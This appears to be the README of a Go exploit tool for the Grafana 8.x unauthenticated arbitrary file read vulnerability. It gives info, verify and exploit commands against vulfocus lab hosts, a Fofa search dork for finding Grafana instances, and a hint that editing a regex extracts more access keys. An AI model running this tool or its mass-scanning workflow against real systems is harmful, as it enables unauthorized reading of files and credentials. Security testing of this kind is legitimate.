GrafanaArbitraryFileRead

用法

1. 显示信息

❯ go run main.go -s                                               
[INF] VulnInfo:
{
  "Name": "Grafana Arbitrary File Read",
  "VulID": "nil",
  "Version": "1.0",
  "Author": "z3",
  "VulDate": "2021-12-07",
  "References": [
    "https://nosec.org/home/detail/4914.html"
  ],
  "AppName": "Grafana",
  "AppPowerLink": "https://grafana.com/",
  "AppVersion": "Grafana Version 8.*",
  "VulType": "Arbitrary File Read",
  "Description": "An unauthorized arbitrary file reading vulnerability exists in Grafana, which can be exploited by an attacker to read arbitrary files on the host computer without authentication.",
  "Category": "REMOTE",
  "Dork": {
    "Fofa": "app=\"Grafana\"",
    "Quake": "",
    "Zoomeye": "",
    "Shodan": ""
  }
}%     

2. 验证

echo vulfocus.fofa.so:55628 | go run main.go -v -t 20
http://vulfocus.fofa.so:55628

3. 利用

echo http://vulfocus.fofa.so:51766 | go run main.go -m exploit -v

参考 1 中利用思路的实现。要提取更多信息，请修改 getAccesskey 函数中的正则表达式。

参考

1. grafana最新任意文件读取分析以及衍生问题解释
2. Grafana Unauthorized arbitrary file reading vulnerability

免责声明

本程序仅供安全自查使用，请自觉遵守当地法律法规。